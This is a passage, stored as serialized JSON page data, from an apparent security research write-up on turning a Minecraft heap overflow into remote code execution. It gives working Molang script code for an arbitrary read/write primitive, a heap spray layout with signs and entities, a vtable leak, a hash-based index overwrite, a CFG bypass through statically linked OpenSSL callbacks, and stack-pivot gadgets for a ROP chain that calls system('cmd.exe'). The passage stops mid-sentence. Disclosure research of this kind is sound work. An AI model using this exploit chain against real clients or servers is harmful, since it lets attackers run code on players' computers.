+-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[158869],{"type":25,"tag":82,"props":158870,"children":158871},{"__ignoreMap":7},[158872],{"type":31,"value":158867},{"type":25,"tag":38,"props":158874,"children":158875},{},[158876,158877,158882,158884,158889,158891,158896,158898,158903,158905,158910,158911,158916,158918,158923],{"type":31,"value":474},{"type":25,"tag":82,"props":158878,"children":158880},{"className":158879},[],[158881],{"type":31,"value":43109},{"type":31,"value":158883}," field inside a ",{"type":25,"tag":82,"props":158885,"children":158887},{"className":158886},[],[158888],{"type":31,"value":156524},{"type":31,"value":158890}," is at offset ",{"type":25,"tag":82,"props":158892,"children":158894},{"className":158893},[],[158895],{"type":31,"value":156785},{"type":31,"value":158897},". We already control a corrupted variable, ",{"type":25,"tag":82,"props":158899,"children":158901},{"className":158900},[],[158902],{"type":31,"value":158791},{"type":31,"value":158904},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":25,"tag":82,"props":158906,"children":158908},{"className":158907},[],[158909],{"type":31,"value":13088},{"type":31,"value":157832},{"type":25,"tag":82,"props":158912,"children":158914},{"className":158913},[],[158915],{"type":31,"value":157027},{"type":31,"value":158917}," by 2 bytes, which in turn advances ",{"type":25,"tag":82,"props":158919,"children":158921},{"className":158920},[],[158922],{"type":31,"value":158791},{"type":31,"value":158924}," by 2 bytes.",{"type":25,"tag":38,"props":158926,"children":158927},{},[158928,158930,158935,158937,158943,158944,158949,158950,158955,158957,158962],{"type":31,"value":158929},"By moving ",{"type":25,"tag":82,"props":158931,"children":158933},{"className":158932},[],[158934],{"type":31,"value":13088},{"type":31,"value":158936}," so it equals ",{"type":25,"tag":82,"props":158938,"children":158940},{"className":158939},[],[158941],{"type":31,"value":158942},"cap - 0x38",{"type":31,"value":106249},{"type":25,"tag":82,"props":158945,"children":158947},{"className":158946},[],[158948],{"type":31,"value":43109},{"type":31,"value":157832},{"type":25,"tag":82,"props":158951,"children":158953},{"className":158952},[],[158954],{"type":31,"value":158791},{"type":31,"value":158956}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":25,"tag":82,"props":158958,"children":158960},{"className":158959},[],[158961],{"type":31,"value":158862},{"type":31,"value":158963}," pointer. We can then capture that pointer with:",{"type":25,"tag":206,"props":158965,"children":158967},{"code":158966},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[158968],{"type":25,"tag":82,"props":158969,"children":158970},{"__ignoreMap":7},[158971],{"type":31,"value":158966},{"type":25,"tag":38,"props":158973,"children":158974},{},[158975,158977,158982,158984,158989,158991,158996,158998,159004],{"type":31,"value":158976},"After saving the leak, we add 27 unseen variables to advance ",{"type":25,"tag":82,"props":158978,"children":158980},{"className":158979},[],[158981],{"type":31,"value":13088},{"type":31,"value":158983}," until it equals ",{"type":25,"tag":82,"props":158985,"children":158987},{"className":158986},[],[158988],{"type":31,"value":158728},{"type":31,"value":158990},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":25,"tag":82,"props":158992,"children":158994},{"className":158993},[],[158995],{"type":31,"value":158862},{"type":31,"value":158997}," address in ",{"type":25,"tag":82,"props":158999,"children":159001},{"className":159000},[],[159002],{"type":31,"value":159003},"variable.saved_vtable_pointer",{"type":31,"value":179},{"type":25,"tag":22747,"props":159006,"children":159007},{},[],{"type":25,"tag":38,"props":159009,"children":159010},{},[159011,159013,159018,159020,159026],{"type":31,"value":159012},"A Molang script that performs an arbitrary write of the value ",{"type":25,"tag":82,"props":159014,"children":159016},{"className":159015},[],[159017],{"type":31,"value":47462},{"type":31,"value":159019}," to the address ",{"type":25,"tag":82,"props":159021,"children":159023},{"className":159022},[],[159024],{"type":31,"value":159025},"vtable + 0x1000",{"type":31,"value":159027}," looks like this:",{"type":25,"tag":206,"props":159029,"children":159031},{"code":159030},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[159032],{"type":25,"tag":82,"props":159033,"children":159034},{"__ignoreMap":7},[159035],{"type":31,"value":159030},{"type":25,"tag":631,"props":159037,"children":159039},{"id":159038},"required-heap-layout",[159040],{"type":31,"value":159041},"Required Heap Layout",{"type":25,"tag":38,"props":159043,"children":159044},{},[159045],{"type":31,"value":159046},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":25,"tag":206,"props":159048,"children":159050},{"code":159049},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[159051],{"type":25,"tag":82,"props":159052,"children":159053},{"__ignoreMap":7},[159054],{"type":31,"value":159049},{"type":25,"tag":38,"props":159056,"children":159057},{},[159058,159060,159066,159068,159073,159075,159080,159082,159087,159088,159093],{"type":31,"value":159059},"The first region (",{"type":25,"tag":82,"props":159061,"children":159063},{"className":159062},[],[159064],{"type":31,"value":159065},"Heap Region 1",{"type":31,"value":159067},") contains alternating ",{"type":25,"tag":82,"props":159069,"children":159071},{"className":159070},[],[159072],{"type":31,"value":156851},{"type":31,"value":159074},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":25,"tag":82,"props":159076,"children":159078},{"className":159077},[],[159079],{"type":31,"value":156881},{"type":31,"value":159081}," pointers of ",{"type":25,"tag":82,"props":159083,"children":159085},{"className":159084},[],[159086],{"type":31,"value":156851},{"type":31,"value":1301},{"type":25,"tag":82,"props":159089,"children":159091},{"className":159090},[],[159092],{"type":31,"value":157027},{"type":31,"value":159094}," from the entity object for our main attack.",{"type":25,"tag":38,"props":159096,"children":159097},{},[159098,159100,159106,159108,159113,159115,159120,159122,159127,159129,159134],{"type":31,"value":159099},"The second region (",{"type":25,"tag":82,"props":159101,"children":159103},{"className":159102},[],[159104],{"type":31,"value":159105},"Heap Region 2",{"type":31,"value":159107},") contains interleaved ",{"type":25,"tag":82,"props":159109,"children":159111},{"className":159110},[],[159112],{"type":31,"value":157027},{"type":31,"value":159114},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":25,"tag":82,"props":159116,"children":159118},{"className":159117},[],[159119],{"type":31,"value":158862},{"type":31,"value":159121}," pointer into ",{"type":25,"tag":82,"props":159123,"children":159125},{"className":159124},[],[159126],{"type":31,"value":158791},{"type":31,"value":159128}," during our main attack. It could be any object with a ",{"type":25,"tag":82,"props":159130,"children":159132},{"className":159131},[],[159133],{"type":31,"value":158862},{"type":31,"value":159135},", but for simplicity we use the entity object.",{"type":25,"tag":38,"props":159137,"children":159138},{},[159139,159141,159147,159149,159154],{"type":31,"value":159140},"During the attack, overwriting another variable's pointer with\n",{"type":25,"tag":82,"props":159142,"children":159144},{"className":159143},[],[159145],{"type":31,"value":159146},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":31,"value":159148}," will very likely clobber the ",{"type":25,"tag":82,"props":159150,"children":159152},{"className":159151},[],[159153],{"type":31,"value":157347},{"type":31,"value":159155}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":25,"tag":38,"props":159157,"children":159158},{},[159159],{"type":31,"value":159160},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":25,"tag":38,"props":159162,"children":159163},{},[159164],{"type":31,"value":159165},"The final exploit proceeds in three stages:",{"type":25,"tag":6705,"props":159167,"children":159168},{},[159169,159174,159179],{"type":25,"tag":2037,"props":159170,"children":159171},{},[159172],{"type":31,"value":159173},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":25,"tag":2037,"props":159175,"children":159176},{},[159177],{"type":31,"value":159178},"Perform the heap spray with signs to create the desired layout for the attack",{"type":25,"tag":2037,"props":159180,"children":159181},{},[159182],{"type":31,"value":159183},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":25,"tag":631,"props":159185,"children":159187},{"id":159186},"initial-corruption-variant-lfh-heap-approach",[159188],{"type":31,"value":159189},"Initial Corruption Variant: LFH Heap Approach",{"type":25,"tag":38,"props":159191,"children":159192},{},[159193],{"type":31,"value":159194},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":25,"tag":38,"props":159196,"children":159197},{},[159198,159200,159205,159206,159212],{"type":31,"value":159199},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":25,"tag":82,"props":159201,"children":159203},{"className":159202},[],[159204],{"type":31,"value":157094},{"type":31,"value":10433},{"type":25,"tag":82,"props":159207,"children":159209},{"className":159208},[],[159210],{"type":31,"value":159211},"last_index",{"type":31,"value":159213}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":25,"tag":38,"props":159215,"children":159216},{},[159217,159219,159224,159225,159230,159232,159237,159239,159244,159246,159251,159253,159259,159260,159266,159267,159273],{"type":31,"value":159218},"The main attack can be arranged by making the resulting index point at the ",{"type":25,"tag":82,"props":159220,"children":159222},{"className":159221},[],[159223],{"type":31,"value":154047},{"type":31,"value":157832},{"type":25,"tag":82,"props":159226,"children":159228},{"className":159227},[],[159229],{"type":31,"value":157027},{"type":31,"value":159231},". From there, the script can overwrite three variable indices at offset ",{"type":25,"tag":82,"props":159233,"children":159235},{"className":159234},[],[159236],{"type":31,"value":156785},{"type":31,"value":159238}," within the ",{"type":25,"tag":82,"props":159240,"children":159242},{"className":159241},[],[159243],{"type":31,"value":157027},{"type":31,"value":159245}," by using the string type. This works because a Molang string's value is just a ",{"type":25,"tag":82,"props":159247,"children":159249},{"className":159248},[],[159250],{"type":31,"value":59597},{"type":31,"value":159252}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":25,"tag":82,"props":159254,"children":159256},{"className":159255},[],[159257],{"type":31,"value":159258},"0xfb",{"type":31,"value":7020},{"type":25,"tag":82,"props":159261,"children":159263},{"className":159262},[],[159264],{"type":31,"value":159265},"0xfc",{"type":31,"value":1301},{"type":25,"tag":82,"props":159268,"children":159270},{"className":159269},[],[159271],{"type":31,"value":159272},"0xfd",{"type":31,"value":159274}," the script would do:",{"type":25,"tag":206,"props":159276,"children":159278},{"code":159277},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[159279],{"type":25,"tag":82,"props":159280,"children":159281},{"__ignoreMap":7},[159282],{"type":31,"value":159277},{"type":25,"tag":38,"props":159284,"children":159285},{},[159286,159288,159293,159294,159300,159302,159307],{"type":31,"value":159287},"That line would write the ",{"type":25,"tag":82,"props":159289,"children":159291},{"className":159290},[],[159292],{"type":31,"value":59597},{"type":31,"value":96138},{"type":25,"tag":82,"props":159295,"children":159297},{"className":159296},[],[159298],{"type":31,"value":159299},"0x302700fb00fc00fd",{"type":31,"value":159301}," (string's FNV-1 hash) into the allocated ",{"type":25,"tag":82,"props":159303,"children":159305},{"className":159304},[],[159306],{"type":31,"value":157027},{"type":31,"value":159308}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":25,"tag":607,"props":159310,"children":159312},{"id":159311},"hijacking-execution",[159313],{"type":31,"value":159314},"Hijacking Execution",{"type":25,"tag":38,"props":159316,"children":159317},{},[159318,159320,159325,159327,159333],{"type":31,"value":159319},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":25,"tag":82,"props":159321,"children":159323},{"className":159322},[],[159324],{"type":31,"value":158862},{"type":31,"value":159326}," and function pointers in the writable ",{"type":25,"tag":82,"props":159328,"children":159330},{"className":159329},[],[159331],{"type":31,"value":159332},".data",{"type":31,"value":159334}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":25,"tag":38,"props":159336,"children":159337},{},[159338],{"type":31,"value":159339},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":25,"tag":38,"props":159341,"children":159342},{},[159343],{"type":31,"value":159344},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":25,"tag":38,"props":159346,"children":159347},{},[159348],{"type":25,"tag":6461,"props":159349,"children":159351},{"alt":54541,"src":159350},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":25,"tag":38,"props":159353,"children":159354},{},[159355,159357,159363,159365,159371,159373,159378,159380,159385,159387,159393,159395,159400,159402,159408,159410,159415],{"type":31,"value":159356},"This snippet calls a method on an object: ",{"type":25,"tag":82,"props":159358,"children":159360},{"className":159359},[],[159361],{"type":31,"value":159362},"rcx",{"type":31,"value":159364}," holds the object pointer, the first ",{"type":25,"tag":82,"props":159366,"children":159368},{"className":159367},[],[159369],{"type":31,"value":159370},"mov",{"type":31,"value":159372}," loads the object's ",{"type":25,"tag":82,"props":159374,"children":159376},{"className":159375},[],[159377],{"type":31,"value":158862},{"type":31,"value":159379}," into ",{"type":25,"tag":82,"props":159381,"children":159383},{"className":159382},[],[159384],{"type":31,"value":60736},{"type":31,"value":159386},", and the function pointer at ",{"type":25,"tag":82,"props":159388,"children":159390},{"className":159389},[],[159391],{"type":31,"value":159392},"rax + 0x8",{"type":31,"value":159394}," is read into ",{"type":25,"tag":82,"props":159396,"children":159398},{"className":159397},[],[159399],{"type":31,"value":60736},{"type":31,"value":159401},". Finally, ",{"type":25,"tag":82,"props":159403,"children":159405},{"className":159404},[],[159406],{"type":31,"value":159407},"__guard_dispatch_icall_fptr",{"type":31,"value":159409}," is called - this is the CFG dispatch function that validates ",{"type":25,"tag":82,"props":159411,"children":159413},{"className":159412},[],[159414],{"type":31,"value":60736},{"type":31,"value":159416}," as a legal call target before invoking it.",{"type":25,"tag":38,"props":159418,"children":159419},{},[159420],{"type":31,"value":159421},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":25,"tag":38,"props":159423,"children":159424},{},[159425],{"type":25,"tag":6461,"props":159426,"children":159428},{"alt":54541,"src":159427},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":25,"tag":38,"props":159430,"children":159431},{},[159432,159434,159440,159442,159448],{"type":31,"value":159433},"Here, the function pointer at ",{"type":25,"tag":82,"props":159435,"children":159437},{"className":159436},[],[159438],{"type":31,"value":159439},"vtable + 0x10",{"type":31,"value":159441}," is loaded into ",{"type":25,"tag":82,"props":159443,"children":159445},{"className":159444},[],[159446],{"type":31,"value":159447},"rdx",{"type":31,"value":159449}," and then called directly.",{"type":25,"tag":38,"props":159451,"children":159452},{},[159453],{"type":31,"value":159454},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":25,"tag":38,"props":159456,"children":159457},{},[159458,159460,159465],{"type":31,"value":159459},"So the remaining task is to locate OpenSSL function or ",{"type":25,"tag":82,"props":159461,"children":159463},{"className":159462},[],[159464],{"type":31,"value":158862},{"type":31,"value":159466}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":25,"tag":631,"props":159468,"children":159470},{"id":159469},"locating-overwrite-targets",[159471],{"type":31,"value":159472},"Locating Overwrite Targets",{"type":25,"tag":38,"props":159474,"children":159475},{},[159476,159478,159484,159485,159490,159492,159497,159499,159505],{"type":31,"value":159477},"One of the first targets we identified were the ",{"type":25,"tag":82,"props":159479,"children":159481},{"className":159480},[],[159482],{"type":31,"value":159483},"malloc",{"type":31,"value":1301},{"type":25,"tag":82,"props":159486,"children":159488},{"className":159487},[],[159489],{"type":31,"value":154095},{"type":31,"value":159491}," callbacks. These reside in the ",{"type":25,"tag":82,"props":159493,"children":159495},{"className":159494},[],[159496],{"type":31,"value":159332},{"type":31,"value":159498}," section and are invoked whenever they don’t match the expected ",{"type":25,"tag":82,"props":159500,"children":159502},{"className":159501},[],[159503],{"type":31,"value":159504},"OPENSSL_malloc/free",{"type":31,"value":135956},{"type":25,"tag":38,"props":159507,"children":159508},{},[159509],{"type":25,"tag":6461,"props":159510,"children":159512},{"alt":54541,"src":159511},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":25,"tag":38,"props":159514,"children":159515},{},[159516],{"type":31,"value":159517},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":25,"tag":38,"props":159519,"children":159520},{},[159521,159523,159529,159531,159537,159539,159544],{"type":31,"value":159522},"Later, we found another promising function: ",{"type":25,"tag":82,"props":159524,"children":159526},{"className":159525},[],[159527],{"type":31,"value":159528},"ossl_ec_key_new_method_int",{"type":31,"value":159530},". This function creates and initializes an ",{"type":25,"tag":82,"props":159532,"children":159534},{"className":159533},[],[159535],{"type":31,"value":159536},"EC_KEY",{"type":31,"value":159538}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":25,"tag":82,"props":159540,"children":159542},{"className":159541},[],[159543],{"type":31,"value":159332},{"type":31,"value":159545},") containing function pointers:",{"type":25,"tag":38,"props":159547,"children":159548},{},[159549],{"type":25,"tag":6461,"props":159550,"children":159552},{"alt":54541,"src":159551},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":25,"tag":38,"props":159554,"children":159555},{},[159556,159558,159564,159565,159571,159573,159578,159580,159586,159588,159593,159595,159600,159602,159607],{"type":31,"value":159557},"In the image above, ",{"type":25,"tag":82,"props":159559,"children":159561},{"className":159560},[],[159562],{"type":31,"value":159563},"ret->meth",{"type":31,"value":129420},{"type":25,"tag":82,"props":159566,"children":159568},{"className":159567},[],[159569],{"type":31,"value":159570},"default_ec_key_meth",{"type":31,"value":159572},", which points to a structure of function pointers located in ",{"type":25,"tag":82,"props":159574,"children":159576},{"className":159575},[],[159577],{"type":31,"value":159332},{"type":31,"value":159579},". It then calls ",{"type":25,"tag":82,"props":159581,"children":159583},{"className":159582},[],[159584],{"type":31,"value":159585},"ret->meth->init",{"type":31,"value":159587},", passing the ",{"type":25,"tag":82,"props":159589,"children":159591},{"className":159590},[],[159592],{"type":31,"value":21645},{"type":31,"value":159594}," pointer (",{"type":25,"tag":82,"props":159596,"children":159598},{"className":159597},[],[159599],{"type":31,"value":14940},{"type":31,"value":159601},"). This alone isn’t especially useful because ",{"type":25,"tag":82,"props":159603,"children":159605},{"className":159604},[],[159606],{"type":31,"value":14940},{"type":31,"value":159608}," is heap-allocated.",{"type":25,"tag":38,"props":159610,"children":159611},{},[159612,159614,159619],{"type":31,"value":159613},"But, if we look at how ",{"type":25,"tag":82,"props":159615,"children":159617},{"className":159616},[],[159618],{"type":31,"value":159585},{"type":31,"value":159620}," is invoked in the disassembly:",{"type":25,"tag":38,"props":159622,"children":159623},{},[159624],{"type":25,"tag":6461,"props":159625,"children":159627},{"alt":54541,"src":159626},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":25,"tag":38,"props":159629,"children":159630},{},[159631,159632,159637,159639,159644,159646,159651,159653,159658,159660,159665,159667,159672,159674,159679,159681,159687],{"type":31,"value":11425},{"type":25,"tag":82,"props":159633,"children":159635},{"className":159634},[],[159636],{"type":31,"value":159585},{"type":31,"value":159638}," is not ",{"type":25,"tag":82,"props":159640,"children":159642},{"className":159641},[],[159643],{"type":31,"value":58458},{"type":31,"value":159645},", it is called while ",{"type":25,"tag":82,"props":159647,"children":159649},{"className":159648},[],[159650],{"type":31,"value":60736},{"type":31,"value":159652}," still contains the value of ",{"type":25,"tag":82,"props":159654,"children":159656},{"className":159655},[],[159657],{"type":31,"value":159563},{"type":31,"value":159659}," - that is, a pointer to the structure in ",{"type":25,"tag":82,"props":159661,"children":159663},{"className":159662},[],[159664],{"type":31,"value":159332},{"type":31,"value":159666}," that we control. This is ideal, because we can overwrite ",{"type":25,"tag":82,"props":159668,"children":159670},{"className":159669},[],[159671],{"type":31,"value":159570},{"type":31,"value":159673}," with a pointer to a region in ",{"type":25,"tag":82,"props":159675,"children":159677},{"className":159676},[],[159678],{"type":31,"value":159332},{"type":31,"value":159680}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":25,"tag":82,"props":159682,"children":159684},{"className":159683},[],[159685],{"type":31,"value":159686},"mov rsp, rax; ret",{"type":31,"value":159688},"-style gadget.",{"type":25,"tag":38,"props":159690,"children":159691},{},[159692,159694,159699,159701,159706],{"type":31,"value":159693},"Although we discovered that ",{"type":25,"tag":82,"props":159695,"children":159697},{"className":159696},[],[159698],{"type":31,"value":159528},{"type":31,"value":159700}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":25,"tag":82,"props":159702,"children":159704},{"className":159703},[],[159705],{"type":31,"value":159504},{"type":31,"value":159707}," callbacks.",{"type":25,"tag":631,"props":159709,"children":159711},{"id":159710},"stack-pivot",[159712],{"type":31,"value":159713},"Stack Pivot",{"type":25,"tag":38,"props":159715,"children":159716},{},[159717,159719,159724,159726,159731,159733,159738,159740,159746],{"type":31,"value":159718},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":25,"tag":82,"props":159720,"children":159722},{"className":159721},[],[159723],{"type":31,"value":159332},{"type":31,"value":159725},", overwrite ",{"type":25,"tag":82,"props":159727,"children":159729},{"className":159728},[],[159730],{"type":31,"value":159570},{"type":31,"value":159732}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":25,"tag":82,"props":159734,"children":159736},{"className":159735},[],[159737],{"type":31,"value":159528},{"type":31,"value":159739},". This ultimately calls ",{"type":25,"tag":82,"props":159741,"children":159743},{"className":159742},[],[159744],{"type":31,"value":159745},"default_ec_key_meth->init",{"type":31,"value":159747},", which executes the pivot and begins ROP execution.",{"type":25,"tag":38,"props":159749,"children":159750},{},[159751,159753,159759,159761,159767],{"type":31,"value":159752},"We chose to overwrite the ",{"type":25,"tag":82,"props":159754,"children":159756},{"className":159755},[],[159757],{"type":31,"value":159758},"OPENSSL_free",{"type":31,"value":159760}," callback. This produces only a minor memory leak, while overwriting ",{"type":25,"tag":82,"props":159762,"children":159764},{"className":159763},[],[159765],{"type":31,"value":159766},"OPENSSL_malloc",{"type":31,"value":159768}," would require our replacement function to return a writable, unused memory region.",{"type":25,"tag":38,"props":159770,"children":159771},{},[159772,159774,159780,159781,159787,159789,159794],{"type":31,"value":159773},"For the stack pivot, we found two useful gadgets: ",{"type":25,"tag":82,"props":159775,"children":159777},{"className":159776},[],[159778],{"type":31,"value":159779},"add rsp, 0x10; pop r14; ret",{"type":31,"value":1301},{"type":25,"tag":82,"props":159782,"children":159784},{"className":159783},[],[159785],{"type":31,"value":159786},"xchg rsp, rax; ret",{"type":31,"value":159788},". The exploit writes them into ",{"type":25,"tag":82,"props":159790,"children":159792},{"className":159791},[],[159793],{"type":31,"value":159332},{"type":31,"value":159795}," like this:",{"type":25,"tag":206,"props":159797,"children":159799},{"code":159798},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[159800],{"type":25,"tag":82,"props":159801,"children":159802},{"__ignoreMap":7},[159803],{"type":31,"value":159798},{"type":25,"tag":38,"props":159805,"children":159806},{},[159807,159809,159814,159816,159821,159823,159828,159830,159835,159837,159842,159844,159849,159851,159856],{"type":31,"value":159808},"The second gadget, ",{"type":25,"tag":82,"props":159810,"children":159812},{"className":159811},[],[159813],{"type":31,"value":159786},{"type":31,"value":159815},", is placed in the slot corresponding to the ",{"type":25,"tag":82,"props":159817,"children":159819},{"className":159818},[],[159820],{"type":31,"value":24694},{"type":31,"value":159822}," function pointer. As mentioned earlier, when ",{"type":25,"tag":82,"props":159824,"children":159826},{"className":159825},[],[159827],{"type":31,"value":159585},{"type":31,"value":159829}," is called, ",{"type":25,"tag":82,"props":159831,"children":159833},{"className":159832},[],[159834],{"type":31,"value":60736},{"type":31,"value":159836}," contains a pointer to ",{"type":25,"tag":82,"props":159838,"children":159840},{"className":159839},[],[159841],{"type":31,"value":159570},{"type":31,"value":159843}," - which we have overwritten and now points to our ",{"type":25,"tag":82,"props":159845,"children":159847},{"className":159846},[],[159848],{"type":31,"value":159779},{"type":31,"value":159850}," gadget in ",{"type":25,"tag":82,"props":159852,"children":159854},{"className":159853},[],[159855],{"type":31,"value":159332},{"type":31,"value":179},{"type":25,"tag":38,"props":159858,"children":159859},{},[159860,159862,159868,159870,159875,159877,159883,159885,159890,159892,159897,159899,159904,159906,159911,159913,159918,159920,159925],{"type":31,"value":159861},"When the call occurs, ",{"type":25,"tag":82,"props":159863,"children":159865},{"className":159864},[],[159866],{"type":31,"value":159867},"xchg rsp, rax",{"type":31,"value":159869}," swaps the stack pointer with this controlled pointer inside ",{"type":25,"tag":82,"props":159871,"children":159873},{"className":159872},[],[159874],{"type":31,"value":159332},{"type":31,"value":159876},", effectively moving ",{"type":25,"tag":82,"props":159878,"children":159880},{"className":159879},[],[159881],{"type":31,"value":159882},"rsp",{"type":31,"value":159884}," into our ROP region. After the ",{"type":25,"tag":82,"props":159886,"children":159888},{"className":159887},[],[159889],{"type":31,"value":14940},{"type":31,"value":159891},", execution continues at ",{"type":25,"tag":82,"props":159893,"children":159895},{"className":159894},[],[159896],{"type":31,"value":159779},{"type":31,"value":159898},", which advances ",{"type":25,"tag":82,"props":159900,"children":159902},{"className":159901},[],[159903],{"type":31,"value":159882},{"type":31,"value":159905}," by ",{"type":25,"tag":82,"props":159907,"children":159909},{"className":159908},[],[159910],{"type":31,"value":48495},{"type":31,"value":159912}," bytes, skipping over the padding and the ",{"type":25,"tag":82,"props":159914,"children":159916},{"className":159915},[],[159917],{"type":31,"value":159786},{"type":31,"value":159919}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":25,"tag":82,"props":159921,"children":159923},{"className":159922},[],[159924],{"type":31,"value":159786},{"type":31,"value":159926},") begins executing.",{"type":25,"tag":607,"props":159928,"children":159930},{"id":159929},"rop-chain",[159931],{"type":31,"value":159932},"ROP Chain",{"type":25,"tag":38,"props":159934,"children":159935},{},[159936,159938,159944,159946,159951],{"type":31,"value":159937},"For the demo, the ROP chain simply calls ",{"type":25,"tag":82,"props":159939,"children":159941},{"className":159940},[],[159942],{"type":31,"value":159943},"system(\"cmd.exe\")",{"type":31,"value":159945},". Because Minecraft does not use ",{"type":25,"tag":82,"props":159947,"children":159949},{"className":159948},[],[159950],{"type":31,"value":135678},{"type":31,"value":159952},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":25,"tag":38,"props":159954,"children":159955},{},[159956,159958,159964,159966,159972,159974,159979,159981,159987,159989,159994],{"type":31,"value":159957},"This is straightforward: the chain first calls ",{"type":25,"tag":82,"props":159959,"children":159961},{"className":159960},[],[159962],{"type":31,"value":159963},"GetModuleHandle(\"ucrtbase.dll\")",{"type":31,"value":159965}," to obtain the base address of 